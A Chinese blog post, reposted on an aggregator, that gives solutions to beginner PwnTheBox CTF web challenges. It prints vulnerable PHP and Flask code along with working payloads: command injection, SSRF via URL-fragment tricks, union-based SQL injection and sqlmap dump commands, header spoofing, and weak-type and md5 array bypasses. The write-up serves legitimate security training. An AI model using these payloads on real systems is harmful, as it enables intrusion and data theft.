IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> PwnTheBox(web篇)简单题 -> 正文阅读

[Python知识库]PwnTheBox(web篇)简单题

PwnTheBox(web篇)简单题

在这里插入图片描述

文章结构生成

# //*[@id="app"]/div/section/main/div[1]/div/div[6]/div/div/div/p/@title
#  xpath提取 ... 生成....
str = '''
exec1
hackergame2019-签到题
网页读取器
管理员本地访问
下载下载
快速计算
...
'''

for i in str.strip().split("\n"):
    print("### "+i)
    print("#### 题目")
    print("```php"+"\n\n"+"```")
    print()
    print("#### 题解")
    print("```"+"\n\n"+"```")
    print()

第一页

exec1

题目

<?php

	// Get input

	$target = $_REQUEST[ 'ip' ];
    // var_dump($target);
	$target=trim($target);
	// var_dump($target);
	// Set blacklist
	$substitutions = array(
		'&'  => '',
		';' => '',
		'|' => '',
		'-'  => '',
		'$'  => '',
		'('  => '',
		')'  => '',
		'`'  => '',
		'||' => '',
	);

	// Remove any of the charactars in the array (blacklist).
	$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    

	// var_dump($target);

	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		
		$cmd = shell_exec( 'ping  ' . $target );
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 1 ' . $target );
	}

	// Feedback for the end user
	echo  "<pre>{$cmd}</pre>";
	

?>

题解

在这里插入图片描述

很多东西都被ban了,%0a绕就行

在这里插入图片描述

hackergame2019-签到题

题目

在这里插入图片描述

题解

右键查看源代码,删除button的disable属性,然后随便输入一个token即可得到flag

在这里插入图片描述

网页读取器

题目

from flask import Flask, render_template, request, send_from_directory
import requests  # well, requests is designed for humans, and I like it.


app = Flask(__name__)
whitelist_hostname = ["example.com",
                     "www.example.com"]
whitelist_scheme = ["http://"]


def check_hostname(url):
    for i in whitelist_scheme:
        if url.startswith(i):
            url = url[len(i):]  # strip scheme
            url = url[url.find("@") + 1:]  # strip userinfo
            if not url.find("/") == -1:
                url = url[:url.find("/")]  # strip parts after authority
            if not url.find(":") == -1:
                url = url[:url.find(":")]  # strip port
            if url not in whitelist_hostname:
                return (False, "hostname {} not in whitelist".format(url))
            return (True, "ok")
    return (False, "scheme not in whitelist, only {} allowed".format(whitelist_scheme))


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/request")
def req_route():
    url = request.args.get('url')
    status, msg = check_hostname(url)
    if status is False:
        # print(msg)
        return msg
    try:
        r = requests.get(url, timeout=2)
        if not r.status_code == 200:
            return "We tried accessing your url, but it does not return HTTP 200. Instead, it returns {}.".format(r.status_code)
        return r.text
    except requests.Timeout:
        return "We tried our best, but it just timeout."
    except requests.RequestException:
        return "While accessing your url, an exception occurred. There may be a problem with your url."


@app.route("/source")
def get_source():
    return send_from_directory("/static/", "app.py", as_attachment=True)


if __name__ == '__main__':
    app.run("0.0.0.0", 8080, debug=False)

在这里插入图片描述

题解

在这里插入图片描述

根据截取规则,已知我们要访问的flag位置为http://127.0.0.1/flag,利用URL中“#”的截断作用,构造payload如下:

http://127.0.0.1/flag#@example.com

管理员本地访问

题目

在这里插入图片描述

题解

X-Forwarded-For 是一个 HTTP 扩展头部,用来表示 HTTP 请求端真实 IP

X-Forwarded-For: 127.0.0.1

在这里插入图片描述

下载下载

题目

在这里插入图片描述

直接点击把flag.txt下载下来了,但是打开后提示flag不在这,然后我们查看页面源代码,发现是通过get传参的方式指定文件名进行下载的

<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key) {
	$key = md5 ( $key );
	$x = 0;
	$len = strlen ( $data );
	$l = strlen ( $key );
	for($i = 0; $i < $len; $i ++) {
		if ($x == $l) {
			$x = 0;
		}
		$char .= $key {$x};
		$x ++;
	}
	for($i = 0; $i < $len; $i ++) {
		$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
	}
	return base64_encode ( $str );
}

function decrypt($data, $key) {
	$key = md5 ( $key );
	$x = 0;
	$data = base64_decode ( $data );
	$len = strlen ( $data );
	$l = strlen ( $key );
	for($i = 0; $i < $len; $i ++) {
		if ($x == $l) {
			$x = 0;
		}
		$char .= substr ( $key, $x, 1 );
		$x ++;
	}
	for($i = 0; $i < $len; $i ++) {
		if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
			$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
		} else {
			$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
		}
	}
	return $str;
}

$key="Pwnthebox";
$flag="g9yk1pqdmqHa3qTJlqTFZbmShKmjaMHKzpJprg==";//encrypt($flag,$key)

?>

题解

我们直接 ?file=flag.php得到flag文件,打开后发现定义了两个函数 encrypt和 decrypt

很明显第一个是加密,第二个是解密,我们直接在最后一行加上如下代码运行后即可得到flag

echo decrypt($flag,$key);

快速计算

题目

在这里插入图片描述

题解

一般情况下手是看不过机的,所以这种题一般脚本

import requests
from lxml import etree
url = "https://1360-b5446787-41a6-48f1-a0e5-82beaeb63eaa.do-not-trust.hacking.run/"


s = requests.Session()
r = s.get(url)
data = r.content.decode()
html = etree.HTML(data)


str = html.xpath("//p/text()")[1]


payload = {'result': eval(str), 'submit': '提交'}
r = s.post(url, data=payload)
print(r.text)

该网站已经被黑

题目

在这里插入图片描述

题解

先用dirsearch进行目录扫描,扫出/shell.php是登录界面
然后burp爆破密码为hack,登录得到flag

PwnTheBox

题目

在这里插入图片描述

题解

在这里插入图片描述

百度网盘分享链接

题目

在这里插入图片描述

题解

在这里插入图片描述

Get

题目

$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

题解

https://1360-76609712-bedd-4cb3-87e1-2a6d037875f6.do-not-trust.hacking.run/?what=flag

Post

题目

$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

题解

在这里插入图片描述

睿智题目

题目

在这里插入图片描述

题解

查看源码分析发现每次产生一个随机图片,可用bp爆破分析

在这里插入图片描述

过滤下PTB可找到
在这里插入图片描述

一道很奇怪的题目

题目

在这里插入图片描述

题解

直接ctrl+u 看源码

在这里插入图片描述
在这里插入图片描述

奇葩的题目

题目

在这里插入图片描述

题解

很明显是url编码,我们把所有的字符串按顺序组合起来

p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62'
p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b'
#eval(unescape(p1) + unescape('%35%34%61%61%32' + p2))
print(p1+"%35%34%61%61%32"+p2)

经过url解码后得到
在这里插入图片描述

验证码

题目

在这里插入图片描述

题解

发现有maxlength元素,更改元素限制尝试输入结果

在这里插入图片描述

XSS

题目

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { echo '
' . $_GET[ 'name' ] . '
'; }

题解

https://1360-c9fc2d6d-8d4e-461d-8e19-cbd85a1205db.do-not-trust.hacking.run/?name=1

达拉崩吧大冒险

题目

在这里插入图片描述

题解

料理大市场出,买鸡的地方存在整数溢出。
当值小于 等于-1900000000000000000 时,就会发生整数溢出,战斗力变成一个很大的值,就可以愉快的打龙,得到flag。

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

atchap

题目

在这里插入图片描述

题解

atchap邮件服务漏洞

a@a.a@Samira.Bien@almosttchap.fr

php是世界上最好的语言

题目

<?php 
show_source(__FILE__);
@include_once 'flag.php';
//前端攻城狮跑路了,不过PHP是最好的语言
    $a = $_GET['a'];
    $b = $_GET['b'];
    $good = false;
    if (sha1($a)===sha1($b)) {   //可以使用数组绕过sha1检测
        $good = true;
    }
    else die('bypass');
    if ($good && isset($_GET['key'])){   //判断good变量的值和key的值是否存在
        $message = json_decode($_GET['key']);  //对传入的key值进行json 解码
        if ($message->key==$key) {   //判断key变量中key键的值是否和key变量的值一样 
            echo $flag;//因为php是弱类型语言,所以数字和字符串进行比较时,字符串会转成数字
        }    //如果字符串的第一位不是数字,则字符串被转成0,所以可用0绕过
        else die('还差一点就拿到flag了');
    }

?>

题解

https://1360-54d93af6-edd9-47b1-a581-e0eee4f83548.do-not-trust.hacking.run/?a[]=1&b[]=1&key={%22key%22:0}

exec2

题目

<?php 

$ip = isset($_POST['ip'])?$_POST['ip']:die();

if(!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i',$ip)){  //结尾字符没有限制
    die("ip 格式错误!");
}

echo strlen($ip);

if(strlen($ip)<7||strlen($ip)>21){  // 长度限制
    die("ip 长度错误!");
}

	// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		
	$cmd = shell_exec( 'ping  ' .$ip ); //执行命令
}else {
		// *nix
		$cmd = shell_exec( 'ping  -c 1 ' .$ip );
}

	// Feedback for the end user
echo  "<pre>{$cmd}</pre>";

## 要求,利用命令执行getshell

题解

在这里插入图片描述

可直接访问

https://1360-abf7e306-27d8-4bb8-b130-ca1f03d1cf88.do-not-trust.hacking.run/pwnthebox.txt

* 通配符

在这里插入图片描述

第二页

Twice SQL Injection

题目

在这里插入图片描述

题解

二次注入

注册时输入注入语句,登录后即可发现结果

// 判断显示位置
'union select 12345 #

//判断数据库
'union select database() #

//根据数据库爆出表名
'union select table_name from information_schema.tables where table_schema='ctftraining'#

//爆出列名
'union select group_concat(column_name) from information_schema.columns where table_name='flag'#

//得到flag
'union select flag from flag#

猫咪银行

题目

在这里插入图片描述

题解

整型溢出:调整买入时间,时间数调至9123372036854775888,得到时间为负数,而收益为正数。

在这里插入图片描述

黑曜石浏览器

题目

请使用最新版黑曜石浏览器(HEICORE)打开

题解

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) HEICORE/49.1.2623.213 Safari/537.36

在这里插入图片描述

信息安全 2077

题目

2077 年很快到来了。此时正值祖国 128 周年华诞,中国科学技术大学也因其王牌专业信息安全,走出国门,成为了世界一流大学。作为向信息安全专业输送人才的重要渠道,第 64 届信息安全大赛也正在如火如荼地开展着。
千里之行,始于足下。作为一名渴望进入信息安全专业的学生,你的第一个任务是拿到第 64 届信息安全大赛的签到题的 flag。我们已经为你找到了签到题的入口[1],你只需要把 flag.txt 的内容读出来就可以了。
注:为了照顾到使用黑曜石浏览器的用户,第 64 届信息安全大赛的签到题决定沿袭之前 63 届信息安全大赛的惯例,仍然基于 HTTP 1.x。当然了,使用其他浏览器也是可以顺利完成任务的。

<script src="/jquery.min.js"></script>
<script>
myclick = () => {
    $.ajax({
        type: "POST",
        url: '/flag.txt',
        success: (d, textStatus, xhr) => {
			$("#flag").text(e)
        },
		error: e =>{
			$("#flag").text(` ${e.status} - ${e.statusText}`)
		}
    });
}
</script>

题解

在返回头中会看到Last-Modified这个东西
在这里插入图片描述
要满足来自2077这个条件
故将请求头加入

If-Unmodified-Since: Mon, 22 Oct 2077 00:00:00 GMT

在这里插入图片描述

flag在这里

题目

在这里插入图片描述

题解

burpsuite 重发 ,base64

在这里插入图片描述

对方不想和你说话,并向你扔了一段代码

题目

在这里插入图片描述

题解

php中extract()函数存在变量覆盖漏洞,所以讲url后面加上 /?a=&b=, a 和 a和 ab变量内容为空字符串造成两个的值相等,或者直接就 /?a=

https://1360-89240aa5-af3d-416c-91d1-dee880d6c6bd.do-not-trust.hacking.run/?a=

猜密码

题目

session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
	if ($_POST['pwd'] == $_SESSION['pwd'])
		die('Flag:'.$flag);
	else{
		print '<p>猜测错误.</p>';
		$_SESSION['pwd']=time().time();
	}
}

题解

这个第一次打开环境时什么都不输入.直接点猜密码就是flag

或者cookie 置0 pwd 为空
在这里插入图片描述

你给我一个满意的数字,我就给你flag!

题目

在这里插入图片描述

<?php
header ( 'Content-Type: text/html; charset=utf-8' ); // 缃戦〉缂栫爜
error_reporting ( 0 );
$flag = "*******************";
//echo $_POST['num'];
if (isset ( $_POST ['num'] )) {  //检测POST传入的参数必须是纯在
	if (@ereg ( "^[1-9]+$", $_POST['num'] ) === FALSE)  //传入的POST必须为包括数字(1-9)组成的数字
		echo '璇村ソ鐨勬暟瀛楀憿锛�';
	else if (strpos ( $_POST['num'], '#testaasafd' ) !== FALSE) //检测num中的#testaasafd必须返回true
		die ( 'Flag: ' . $flag );
	else
		echo '浣犵殑鏁板瓧涓嶅お绗﹀悎鎴戠殑蹇冩剰鍝︼紒';
}
?>

题解

%00 截断

在这里插入图片描述

ereg

题目

<?php 
$flag = "flag{flag}";
if (isset ($_GET['password'])) 
{
  if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)  // 正则匹配只能是字母和数字
  {
    echo '<p>You password must be alphanumeric</p>';
  }
  else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)  // 采用科学计数法1e8
   {
     if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos查找字符串首次出现的位置
      {   // %00 截断  
      die('Flag: ' . $flag);
      }
      else
      {
        echo('<p>*-* have not been found</p>'); 
       }
      }
     else 
     {
        echo '<p>Invalid password</p>'; 
      }
   } 
?>

题解

https://1360-5a0af361-24fa-434a-be20-e4679f83f154.do-not-trust.hacking.run/?password=1e8%00*-*

成绩单

题目

在这里插入图片描述

题解

sqlmap -u https://1360-98cd47d0-15ef-4b83-a44b-e237bbdf50e6.do-not-trust.hacking.run/index.php --form --technique U --level 3 --batch  --dbs
sqlmap -u https://1360-98cd47d0-15ef-4b83-a44b-e237bbdf50e6.do-not-trust.hacking.run/index.php --form --technique U --level 3 --batch -D skctf --tables
sqlmap -u https://1360-98cd47d0-15ef-4b83-a44b-e237bbdf50e6.do-not-trust.hacking.run/index.php --form --technique U --level 3 --batch -D skctf -T  fl4g --columns      
sqlmap -u https://1360-98cd47d0-15ef-4b83-a44b-e237bbdf50e6.do-not-trust.hacking.run/index.php --form --technique U --level 3 --batch -D skctf -T fl4g -C skctf_flag --dump
1' and 1=1 #

-1'  union select 1,2,3,4 #

-1'  union select 1,2,3,database() #

-1'  union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() #

-1'  union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g' and table_schema=database() #

-1'  union select 1,2,3,skctf_flag from  fl4g #

login 1

题目

在这里插入图片描述

题解

在这里插入图片描述

提示要用admin访问,注册覆盖admin账号即可
在这里插入图片描述

变量

题目

flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){   //传入的参数必须是纯在
    $args = $_GET['args'];    
    if(!preg_match("/^\w+$/",$args)){   //是否匹配只有字符
        die("args error!");
    }   //flag在变量中 ,输出全局变量
    eval("var_dump($$args);");  //$GLOBALS 是全局变量
}
?>

题解

https://1360-939a7b7c-d68b-4194-8979-21f1f8396470.do-not-trust.hacking.run/?args=GLOBALS

Jsfuck

题目

在这里插入图片描述

题解

将div盒子里面的字符拼接起来,在控制台进行解密。

from lxml import etree
import requests

url = "https://1360-771b8dbf-30e8-47f6-9d5a-72865aca8b82.do-not-trust.hacking.run/"

r = requests.get(url)
data = r.content.decode()
html = etree.HTML(data)

print(*[i for i in html.xpath("/html/body/div/text()")])

在这里插入图片描述
得出一段加密的字符串,注释提示KEY是PTB

U2FsdGVkX1 是AES或DES 开头

U2FsdGVkX1899E6MQwC1kQYmnBL4RjhRIjwvuYJzszAmWhWcU8B9nHVMiM9YW7Ww

这里是AES解密,得出flag

在这里插入图片描述

矛盾

题目

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)   //php弱类型,== 在进行比较的时候,会先将字符串类型转化成相同,再比较。
echo 'flag{**********}';
}

题解

https://1360-4349a38f-3f69-477f-96bb-745d762e45fe.do-not-trust.hacking.run/?num=1e

代码审计

题目

可以发现有index.php.bak备份文件,下载下来得到

<?php


include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');  //截取?后面的值
$str = substr($str,1);   //截掉?
$str = str_replace('key','',$str);   // 后面的key全部替换成空格,双写绕过
parse_str($str);  //字符串转变量 $key1,$key2
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){  //因为md5()函数无法处理数组
    echo $flag."取得flag";
}
?>

题解

https://1360-1a5e39cb-0291-41cd-b24f-94a62ba43c7a.do-not-trust.hacking.run/?kekeyy1[]=1&kkeyey2[]=2

管理员系统

题目

在这里插入图片描述

题解

源码,发现最后一行有base64加密过的字符串,解出为test123。
输入用户名:admin,密码:test123,登录。

提示IP禁止访问,请联系本地管理员登陆,IP已被记录.,利用bp抓包
伪造本地登录:

X-Forwarded-For:127.0.0.1

在这里插入图片描述

ezdotso

题目

<?php
$param = array();
parse_str($_SERVER['QUERY_STRING']); //请求的字符串转变量
if (isset($action)){
    switch($action){ // 判断 action的值
        case "php_info":
        echo call_user_func_array("php_info",$param);
        break;
        case "cmd":    
        if(isset($cmd)){
            if(is_string($cmd)){
                if (strlen($cmd)>9){
                    die();
                }
                $pat1 = "/[^0-9a-zA-Z \/\*]/";   //不能有0-9a-zA-Z \ / * 之外的字符 
                if (preg_match($pat1, $cmd)>0){
                    die();
                }
                $pat2 = "/^[a-zA-Z]+ [0-9a-zA-Z\/\*]+$/";  //这个字符串以a-zA-Z开头,中间有空格,0-9a-zA-Z\/*结尾
                if (preg_match($pat2, $cmd)==0){
                    die();
                }
                system("busybox " . $cmd);  //调用
            }
        } 
        break;
        default:
        echo call_user_func_array("hello",$param);
        break;
    }
}else{
    show_source(__FILE__);
}

题解

https://1360-84c94879-e244-4ded-9b4a-bcc8b03953c1.do-not-trust.hacking.run/?action=cmd&cmd=ls /
https://1360-84c94879-e244-4ded-9b4a-bcc8b03953c1.do-not-trust.hacking.run/?action=cmd&cmd=cat /flag

赛博厨房 - 1

题目

在这里插入图片描述

题解

向右 2 步
拿起 1 个物品
向左 2 步
向下 1 步
放下 1 个物品
向上 1 步
向右 1 步
拿起 1 个物品
向左 1 步
向下 1 步
放下 1 个物品
向上 1 步

赛博厨房 - 2

题目

不会…

Wall Breaker

题目

Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server, opened a `backdoor` for you.
Let's try to execute `/readflag` to get the flag.
Open basedir: /var/www/html:/tmp/4989c4e036e21dbd4bce773b2902007a
Hint: eval($_POST["backdoor"]);

题解

先连接

在这里插入图片描述

发现没有执行命令的权限,这时,我们可以去蚁剑下载一个过disable_function的插件

在这里插入图片描述

在这里插入图片描述

佛系更新中…

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2022-04-29 12:06:21  更:2022-04-29 12:08:12 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 16:23:42-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码